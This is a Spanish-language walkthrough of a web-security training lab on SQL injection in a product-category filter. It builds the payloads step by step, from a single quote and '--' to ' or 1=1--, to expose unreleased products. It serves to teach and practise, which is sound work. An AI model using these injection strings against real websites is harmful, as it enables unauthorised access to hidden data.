Introducción
LABORATORIO 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de producto category. Cuando el usuario selecciona una categoría, la aplicación realiza una consulta SQL como la que sigue:
SELECT * FROM products WHERE category = ‘Gifts’ AND released = 1
Para resolver el laboratorio, realice un ataque de inyección SQL que haga que la aplicación muestre detalles de todos los productos en cualquier categoría, tanto lanzados como no lanzados.
Solución
Primero, hacemos clic en una categoría.
https://ac891f121e7d9922c029504a00a500ba.web-securityacademy.net/filter?category=Corporate+gifts
La aplicación realizará una consulta SQL para recuperar información de la base de datos:
SELECT * FROM products WHERE category = ‘Corporate gifts’ AND released = 1
El objetivo es recuperar toda la información de los productos, de todas las categorías, y los productos lanzados y no lanzados.
En la declaración anterior, shows released = 1 significa que solo mostrará productos que se lanzan, donde lanzado = 0 representa no lanzado.
A continuación, si agrego una comilla simple al final de la cadena de consulta:
?category=Corporate+gifts'
SELECT * FROM products WHERE category = ‘Corporate gifts” AND released = 1
Esto provocará un error, ya que hay una comilla simple que no está cerrada.
A continuación, agregamos un doble guión:
?category=Corporate+gifts'--
La cadena de consulta queda de la siguiente manera:
SELECT * FROM products WHERE category = 'Corporate gifts'–' AND released = 1
Cualquier cosa después de – será tratada como un comentario en SQL.
Esto significa que ahora el sitio web debería mostrar todos los productos de la category Corporate Gifts, tanto lanzados como por lanzar. Después de la inyección, aparece un elemento adicional llamado Folding Gadgets.
Ahora vamos a mostrar toda la base de datos:
?category=Corporate+gifts' or 1=1--
En la cadena de consulta:
SELECT * FROM products WHERE category = 'Corporate gifts' or 1=1–' AND released = 1
Ahora, con la consulta anterior, devolverá todos los productos cuando la categoría sea Coporate gifts or 1=1, dado que 1=1 siempre es verdadero, por lo que devolverá todos los artículos.
No responses yet